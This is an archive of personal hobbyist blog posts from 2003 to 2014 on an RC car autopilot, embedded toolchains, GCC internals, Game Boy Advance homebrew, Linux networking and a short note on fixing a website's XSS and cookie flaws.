Sun, 19 Jan 2014 16:26:20 +0000

The speed controller is working well. It’s a simple PI controller but was easy to tune and handles the moderate slope of the road OK. The speed wasn’t very stable at 10 km/s as the motor and gearing doesn’t like going that low, but it was much better at 17.5 km/h (Ethan suggested 20, I suggested 15, we compromised).

Adding the ‘P’ term made a big difference to the step response.

Speed controller test

It’s oscillating!

Sun, 12 Jan 2014 19:38:36 +0000

I’ve hooked in the demands from the rover to the control board and added a simple PID based speed controller. The three position switch on the remote takes the car from manual control to auto with speed=0 to auto with speed=10 km/h. I’ve hooked in the dial on the remote to change the Ki term so I can fiddle with the response while the car is running.

It worked quite well, but I caused a ding while fiddling: the gain was high enough to cause the speed to oscillate (peak ~= 30 km/h, with about 5 s period) and it surged into the curb. The bumper worked well, but the rover battery moved forward and put a hole in the box.

Next is adding a deadband to give finer control and better limits on the maximum drive and integral.

The driving lunchbox

Sat, 04 Jan 2014 14:52:02 +0000

I found a good container to house the electronics on my never-complete autopilot project. Here’s some pictures of it mounted onto the car:

The car is a Conrad Rhino III buggy. It’s a cheapie house brand, but I’ve been really happy the toughness and level of technology so far. Two of the wheels fell off due to poor self-locking nuts but they were an easy fix. The mud is there for authenticity.

The container is a lunch box which gives me a 180 x 130 mm working area, some protection, and an easy way to keep out the dust. The plastic is a bit brittle so I’ll replace it in the future. The standoffs are M6 x 60 and are far too meaty for the job. I’m a bit worried the container will flex with vibration but it should stiffen up when I screw the Beaglebone Black into it. The clearance from the hot motor should be enough.

Next step is power for the computer. I’m thinking a ~1000 mAh 2 cell Lipo which should give a couple of hours of life.

Supervisor is working

Sun, 29 Dec 2013 20:51:52 +0000

The supervisor for my autopilot is working. This is a fairly critical piece that runs on the AVR I/O board and handles the handover between the manual remote, the autopilot, and any safeties.

This means I have:

Multi-channel PWM input from the RC receiver.
- A link with the Go based, BeagleBone hosted pilot that receives demands.
  - A state machine that handles remote to pilot handover.
    - Throttle shutdown on remote loss, pilot loss, and resume on low throttle.
      - And indicators for all.
      There’s many hacks, like using polling instead of triggering on an input cycle, but it’s getting closer to being safe to try on the real car.

First tries with Go

Mon, 23 Dec 2013 19:20:36 +0000

I’d like to learn Go, so I’m considering using for the command side of my never complete self driving RC truck project. Here’s some quick notes after a night of hacking:

Effective Go is short, detailed, and just right if you’re happy in other languages
- Go 1.2 builds cleanly on a Samsung ARM Chromebook in a Ubuntu Saucy Crouton chroot
  - The emacs packages are in misc/emacs. Copy to ~/.emacs.d/lisp
    - Inside emacs, try go-mode and gofmt
      - encodings/binary can encode and decode bytes to structs, so that takes care of the message parsing.
      The target machine is a ARM Cortex-A8 based BeagleBone Black and so far the ARM support seems first class.
      
      Aside: You can do a surprising amount in GCC Go without touching the runtime. I wonder if you could write basic code for the AVR in Go?

Christmas star light

Sun, 22 Dec 2013 16:36:35 +0000

We’ve got some Christmas stars in the window that needed some illumination. I hacked together a Olimex OLIMEXINO-85, a 8 mm RGB led, and the support components to make this:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/Vid-20131222-163519-1.m4v

The video is a one-frame-per-second timelapse (thanks Android!). It’s hard to see as the LED is so bright that the camera is saturating but it’s 60 s on white, 10 s transition to the next colour, 10 s there, then 10 s transition back to white. The colour cycles around the colour wheel, although the purple and cyan are a bit subtle.

Code is at https://juju.net.nz/src/hacks.git/tree/christmas.

Regulator board

Fri, 20 Dec 2013 19:40:02 +0000

I’m pretty happy with this. It’s a USB to 3.3 V 1 A supply using a AMS1117 linear regulator. I used the SMT version as the pin spacing is fine for veroboard and I can hide it away on the bottom of the board. The cable is three pins to give some keying and a bit more strength and hold.

It could use some hot glue as strain relief on the cable.

FTDI serial adapters and Chrome OS

Tue, 17 Dec 2013 21:09:09 +0000

Looks like I’ve run into my first problem: FTDI based USB to serial adapters don’t work as they seem to be automatically disconnected shortly after plug in. I suspect that it’s udev running the brltty rules, not finding a assistive device, and aborting.

The udev scripts are under /lib/udev/rules.d but I can’t hack it as the rootfs is read only. Let’s see what the devs think..

chromium

Tue, 17 Dec 2013 08:10:22 +0000

Looks like I’ve run into my first problem: FTDI based USB to serial adapters don’t work on Chrome OS as they seem to be automatically disconnected shortly after plug in. I suspect that it’s udev running the brltty rules, not finding a assistive device, and aborting.

The udev scripts are under /lib/udev/rules.d but I can’t hack it as the rootfs is read only. Let’s see what the devs think…?

An open-source project to help move the web forward.

ARM Chromebook as a primary machine

Sun, 24 Nov 2013 18:28:47 +0000

I’m going to see if my Samsung ARM Chromebook can be my primary machine. I’ve put a crouton Ubuntu chroot on a SD card (so it survives the kids dropping out of developer mode) and will mainly SSH into it. I’m not fond of the speed or reliability of SD cards so I’ll see how that goes.

I’m doing a bit of web.py and Arduino (via avrdude) hacking at the moment so the combo of a chroot, ARM, and low level mucking about will be entertaining.

Using clobber in machine descriptions

Thu, 23 Apr 2009 20:22:02 +0000

‘clobber’ ensures that the register is free before entering and after exiting an instruction. Therefore you can’t use it to say a register is used then destoryed by an instruction such as LOADACC, (X+) on X.

Took a while to figure this out

Extreme optimisation

Fri, 17 Apr 2009 07:40:46 +0000

GCC is crazy.Â It recognises a printf(‘foo\n’) and turns it into the equivalent puts(‘foo’) instead.

builtins.c has all types of similar transformations including printf(‘%c’, v) to a putch(v) and printf(‘%s’, v) to fputs().

Canterbury innovation incubator

Sun, 05 Apr 2009 05:08:53 +0000

The Cii seems interesting. It needs more publicity – this is the first time I’ve heard of it in my fifteen years in Christchurch.

Adding new relocation types

Mon, 30 Mar 2009 08:44:32 +0000

For bfd, add them to the comment block in reloc.c then run ‘make headers’. One more make after that gets it through to bfd.h

binutils / bfd target magic

Mon, 02 Mar 2009 08:49:27 +0000

So the BFD architectures listed in bfd.h are actually defined archures.c in a big comment block at the start of the file.Â This is split out and fired into the documentation, many bfd-in-xx.h files, and finally into bfd.h.

Note that a ‘make headers’ doesn’t re-build it.Â I found a ‘make distclean; ./configure’ was the most brute force way.

Python on an embedded system

Thu, 19 Feb 2009 07:17:49 +0000

I like Python.Â I want to use Python everywhere.Â Hmm.Â Sounds more like an addiction.Â The question is, is Python suitable as a glue language on a embedded Linux system?

With a few hacks Python 1.5.2 cross compiles just fine.Â The speed will be acceptable so it’s really only the size that matters.

A standard build under x86 is 12.6M. From there:

Stripping python saves 1.1M
Removing man and include saves 400k
Removing *.py and *.pyo saves 2.8M but still lets everything run
Removing Tk, Config, and stdwin saves 3.9M
Removing test saves 1.9M

This brings a fully working Python interpreter with all of the command line libraries down to 2.4M.Â Quite respectable.

Naming

Sun, 01 Feb 2009 19:20:14 +0000

For personal reference.Â What happens when you follow too strict of a naming convention:

http://ws.apache.org/xmlrpc/apidocs/org/apache/xmlrpc/server/RequestProcessorFactoryFactory.html?rel=html

Hmm

Wed, 26 Nov 2008 08:42:41 +0000

http://www.ladyada.net/make/fuzebox/index.html

and

http://www.makershed.com/ProductDetails.asp?ProductCode=MKPO1

Anthony’s

Tue, 30 Sep 2008 03:27:51 +0000

…fish grotto on the bay in San Diego is very good.

They also do seafood.

Richard Stallman

Sat, 16 Aug 2008 07:12:53 +0000

Saw RMS at Canterbury University today.Â He has an interesting point of view, very liberal, but also a point of view that is based on old technology.

He said that sites like Google Docs are a problem as you are running a program on their machine, a program that you don’t have control over.Â The solution is to install your own version on your own machine.Â I wonder how you can do this and still get the advantages of hosted software, such as lower cost, lower administration, and higher availability.Â I don’t want to manage any of the software I use, and one solution is to let someone else do it.

He’s not concerned about embedded systems where a processor is used instead of a dedicated circuit, such as in a microwave.Â However, my microwave gains time and I’d rather have it show time in 24 hours to match the stove.Â Both I could fix with the source.Â Then you have car computers such as the Nissan GT-R that changes the car response if it is on a race track.Â I heard a rumor of the NSX requiring you to take the car to the dealer if it goes anywhere near a known track.

Hmm.Â Perhaps the embedded/mechanical equivalent is the Maker Bill of Rights from Make Magazine.

Zen of website maintenance

Wed, 06 Aug 2008 09:49:28 +0000

A certain website had a few vuneribilities including XSS and leaking passwords.Â The fixes were:

The <script> tag was turned on for pending users.Â Configure off. Â All other users get their tags filtered against a safe list
The superuser always skips the filter and sees all tags. Â I can’t fix this, but I’ve changed the cookie so that its not useful to a cookie catcher
The ‘password’ in the cookie was just a hash of the password.Â It is now a hash of the password, the IP address of the client, and a secret. Â A leaked password should only be usable from the same IP
The ‘password’ field has been removed from all forms and replaced with cookie based authentication

Fun and games with Python vs C

Sun, 03 Aug 2008 09:18:32 +0000

I’m using Python to test the code generated by a C compiler.Â Many of the tests are along the lines of:

a = 5

b = 10

result = run_c_code_for_add_in_emulator(a, b)

assert result == a + b

This works fine except when dividing integers with rounding. Under GCC on x86, -100/30 is -3, but in Python -100//30 is -4.Â Hmm.

This has the interesting side effect that in Python 2.5 -a/b != -(a/b).

The work-around seems to be to do it explicitly as int(float(a) / float(b)) is -3.

Big Mac Calories

Sun, 20 Jul 2008 05:06:45 +0000

Why does a NZ Big Mac have 464 calories, a UK one 495, and a US one 540?Â It might be differences in weight but it’s hard to tell.

Seen on reddit

Thu, 31 Jan 2008 06:13:58 +0000

A man goes to his doctor and tells him, “I’ve had the song ‘What’s New Pussycat’ stuck in my head for weeks, and it’s driving me crazy.”

The doctor says, “Well, I think you may have Tom Jones disease.”

The man says, “I’ve never heard of that. Is it rare?”

The doctor says, “It’s not unusual.”

Moving to Dreamhost

Thu, 13 Dec 2007 08:05:22 +0000

Thought I’d move from Rimu Hosting to Dreamhost.Â The VPS we’re on is just too slow and anything that brings the load down is good.

I can’t move the secure sites as Dreamhost doesn’t provide any type of SSL, even a self signed cert from the wrong address, without switching to a static IP and handing over $50 US a year.

And as always happens, I got part way into the move and accidentally brokeÂ something on the original and had to do a rush switch.Â Ah, well.

Comparing integers

Thu, 13 Dec 2007 08:02:36 +0000

Notes for next time:

You can check if the unsigned integer ‘a’ is greater than ‘b’ by adding the ones complement of ‘b’ to ‘a’ and testing carry.Â A twos complement subtraction doesn’t work as a > 0 is always false.

Signed integers are similar but you first add 0x80000000 to both a and b.Â This makes both unsigned without changing the order.

Test after move

Tue, 06 Dec 2005 08:21:47 +0000

All relocated and imported. Now does posting work?

Engines for metaphilter++

Tue, 20 Sep 2005 08:41:56 +0000

Django looks quite decent. Python (not PHP – good), built in basic admin, built in basic user accounts, and the template system is directly applicable to metaphilter.

I’ll give it a try using sqlite 3.2.6 and pysqlite 2.0.4.

Planet Planet Planet

Sat, 03 Sep 2005 08:47:45 +0000

Planet Planet Planet Mushrooms Mushrooms!

Automatic PC fan control

Sun, 12 Jun 2005 07:45:53 +0000

Use a Atmel ATTINY26

as a serial port based fan controller for a PC. Tracy’s machine is very noisy but has built in sensors for the CPU and case temperature. Use a PC app to do closed loop control on the temperature. Run it hot-ish as the cooling effect increases with the temperature differential so the hotter it runs the slower the fan needs to run.

Use a FET for the fan drive. The reset case on the micro will be full noise. Could also use the on-board ADC and a resistor divider to sense the back EMF when the PWM is off to get an idea of fan speed.

It should be very cheap – the micro is $6.20 and there is _very_ little support circuitry. Instead of using the CPUs sensor, you could add 1-wire or similar temperature gauges directly to the Atmel but at significant additional cost.

Infinite Power!

Sat, 11 Jun 2005 10:55:17 +0000

Noooooooooooooooooooooooo_ooooooooooooooooooooooooo_!

Ratchet & Clank

Fri, 10 Jun 2005 09:27:05 +0000

Woo. All done. Reasonable length, very linear, and a bit…easy. Solution to the big bad: empty 200 blaster rounds for stage 1. Re-stock using the PDA. Empty 200 rounds for stage 2. Re-stock. Tesla coil for the mines and groundies, and blaster, tesla, and devistator for stage 3.

Wireless temperature cluster

Wed, 08 Jun 2005 09:01:25 +0000

For measuring the vertical temperature gradient cheaply at different stations across about a heactare of land. A heactare is 10000 m^2 or about 100×100 metres. You could use a set of 1-wire temperature sensors in a local cluster. Use a 433MHz radio link and coding similar to this wireless mouse trap and a battery pack to give greater than six month life.

It would need something to collect the information as you don’t want a laptop to be on all of the time. The individual stations could keep transmitting a rolling few days of data or use something like MRTG‘s methods of collating data. Or keep something low power on all of the time that also decodes the protocol and provides a serial interface.

Basic costs:

Transmitter ~$4.20US
Dallas 18B20 sensor – $2.57US
Atmel ATTINY or similar – $5NZ

Mechanicals including a waterproof box and antenna, if any, would double the cost.

Power off on power button

Mon, 30 May 2005 07:24:15 +0000

Squishy, the Linux box, runs MythTV. It’s a bit tricky to turn off so it would be nice to have it turn off on pressing the power button. Turns out Ubuntu has everything there by default provided by acpi, acpid, and acpi-support.

References:

Playing with ndiswrapper

Sun, 29 May 2005 08:07:43 +0000

Very impressed so far. Purchased a Dick Smith XH8227 802.11g USB network adapter as they were on closeout for a reasonable price. There are efforts to get a driver going natively using the prism54.org drivers as a base but I wanted to get things up and going quickly.

Got confused at first as I loaded the PCI drivers into ndiswrapper first and then couldn’t figure out why it couldn’t find the card. It came up quite quickly from there. My /etc/network/interfaces ended up being:

# The loopback network interface
auto lo wlan0
iface lo inet loopback
# This is a list of hotpluggable network interfaces.
# They will be activated automatically by the hotplug subsystem.
mapping hotplug
script grep
map eth0
# The primary network interface
iface eth0 inet static
address 192.168.2.2
netmask 255.255.255.0
iface wlan0 inet dhcp
wireless-key <secret>
wireless-essid Call<secret>
hostname squishy

Added mdnsresponder to squishy and now I can ping squishy from my iBook. Added libnss-mdns and edited /etc/nsswitch.conf to have hosts: files dns mdns4 and now I can ping crush.local from squishy. Nice. No DNS server incolved.

MonkeyFilter downtime

Mon, 16 May 2005 08:45:11 +0000

My web host took down my account due to a WordPress administration script taking up all of the CPU. For some reason four copies of the wp-admin/categories.php script were spinning pushing the load average above 20. It isn’t linked from any of the user scripts and there were no direct accesses in the access log, and I haven’t used WordPress since, well, the last post so it really is a mystery.

I’ve upgraded to 1.5.1 and added an Apache level password on the admin area as defensive measures.

Experiments with Fuse

Mon, 25 Apr 2005 08:22:16 +0000

Fuse is a quite complete Spectrum emulator with a very good Z80 core already used in the EightyOne Windows only ZX81 emulator. The core has many hooks in it for the various Spectrum functions that go on and is not as clean to separate out as I hoped – I’ll have to do a simple fork of it, clean out the Fuse parts and then put in the ZX81 parts.

There are other raw speed issues with the at least registers being in statics and memory being accessed through helper functions that will mean it is too slow on the GBA. One thing at a time though. First I’ll get the core running under ncurses on the Mac, then in a simple text mode on the GBA, then we’ll have a look at the speed. A good thing about the ZX81 is that the basic screen mode is pure(-ish) text encoded in a simple way so it can be rendered to a console easily.

Mapping MonkeyFilter

Wed, 20 Apr 2005 08:25:26 +0000

I’m quite impressed with xplanet ( http://xplanet.sf.net/). You can give it a text file containing lat, long, and markers and generate a map of the world with people’s locations on it. Put it on a Wiki so people can edit it and you get

http://wiki.monkeyfilter.com/index.php?title=MonkeyMap

The tricky thing is figuring out how to do just part of the world, such as North America. The world map is a projection but you can’t zoom in on a projected view. Turns out you can put it in globe mode, centre on the area you want to record, and zoom in so that it looks flat.

Closer, closer

Fri, 08 Apr 2005 09:07:48 +0000

DKA R4 really didn’t work out. Got DKA R4-beta5 out of the Sourceforge CVS. It needed a bit of massaging but it compiled. And some of the examples compile. And run.

And my Xport arrived yesterday. It worked OK off my Linux box once I set the port to SPP from EPP.

Compile!

Wed, 06 Apr 2005 08:42:47 +0000

Getting crt0.s to work with devkitARM seems more effort than getting DKA to compile under the Mac. Got DKA release 4. Doesn’t build out of the box but built in the end. Unfortunatley my xport copy is quite broken so I can’t tell if the current problems are due to DKA 4 vs DKA 5 or the modifications I made while playing with devkitARM.

MonkeyFilter transfer

Sat, 02 Apr 2005 09:56:29 +0000

Changed over to WordPress and I notice my first posts were about MonkeyFilter’s transfers.

Then:

416MB after about 20 days
- 59MB in 18 hours
Now:
- 443MB in the first day of the month
  - 10.25GB for March
  The growth for the last three months has been 8.24G to 9.06G to 10.25G or 10 to 13% per month. Compound that to 390% yearly growth. Hope not.

GDB

Sat, 02 Apr 2005 08:56:38 +0000

So GDB 6.3 doesn’t compile out of the box on a Mac for a couple of reasons – it assumes the localisation library ‘intl’ source is available as well and it has compilation problems with one of the ARM protocol interfaces. The code uses a #ifdef on __linux or CYGWIN to detect a Unix platform and goes to Windows otherwise.

Got GDB 6.0 with the rest of the tool chain from the GNU ARM project – http://www.gnuarm.com/. It connects into VisualBoy fine.

Next is to compare the startup files between devkitARM and DKA. I need a good debugger GUI but apparently Insight doesn’t work on the Mac. Eclipse time.

Compiling Xport for Mac OS X

Thu, 31 Mar 2005 09:12:16 +0000

VisualBoy Advance also has a native Mac port and has GBD support. The Mac binary is missing the debugger hooks so I’ll try compiling the SDL version.

I’ve gotten one small demo to compile and run using the information at http://user.chem.tue.nl/jakvijn/tonc/setup.htm. The critical things are:

-mthumb-interwork on gcc
- -specs=gba.specs when linking.
DarkFader’s gbafix 1.03 won’t work on the Mac due to endian issues.

Xport uses a derivitave of the devKit Advance crt0 which is completly different to devkitArm. -nostartfiles gcc option disables the standard crt0, but the Xport crt0 uses many symbols that DKA doesn’t support.

Xport ordered

Wed, 30 Mar 2005 09:30:40 +0000

I ordered my Xport 2.0 for the GBA today. To do things the hard way, I’ve decided to get everything going under Mac OS X 10.3.

Notes so far:

Got the devkitARM r11 binaries for Mac. devkit Advance is apparently depreciated. Gives me gcc 3.4 at least.
- Got the Xport Windows tools distribution from charmedlabs.com. Extracted it out and copied it over.
  - Got Boycott Advance v0.3.5. Apparently it’s the only emulator for Mac. No debugger support or source code.
    - The pre-built binaries work fine under Boycott.
      - Tried to re-compile the helloworld_c example. It links but doesn’t run.
        
        The libgba supplied with Xport is unrelated to libgba from DKA.
        
        Got the xport distribution from the sourceforge CVS.
        Next step is to re-build the Xport libgba and go from there.

Overscan and audio CDs

Sat, 29 Nov 2003 03:08:33 +0000

Right, well Freevo already has an undocumented OVERSCAN config item. Set that to slowly bring in the corners of the display. About 70×30 is right for our system, although the watermark pictures on the main screen are a bit distorted.

mmpython has a problem where it stops loading any disc plugins if any fail, and unfortunatly the dvd one is at the top of the list. Shifting it to the bottom made audio CDs work.

Oh, and ripping is the ‘audio.cdbackup’ plugin. So far it has taken over 10mins to encode a 5 min track, so we’ll see what it’s like in a bit.

How high’s the water, momma?

Fri, 28 Nov 2003 21:30:15 +0000

463MB and rising…

Six feet high and rising…

Fri, 28 Nov 2003 00:24:44 +0000

Data transfer due to mfx is now at 416MB, up from 357MB 18 hours ago…

Blergh!

Thu, 27 Nov 2003 09:49:51 +0000

Eat kitty!

Mon, 01 Jan 0001 00:00:00 +0000

Adafruit Voice Bonnet

which is a fork of the SeeedStudio Voicecard.

WM8960 codec uses I2S digital audio for great quality recording and playback

Enable i2c and i2c in /boot/firmware/config

Disable dtparam=audio=on (snd_bcm2835)

sudo i2cdetect -y 1

Possibly wm8960-soundcard.dtbo

Build fails.

git clone https://github.com/HinTak/seeed-voicecard

Checkout v6.6 branch.

https://github.com/rhasspy/wyoming-satellite.git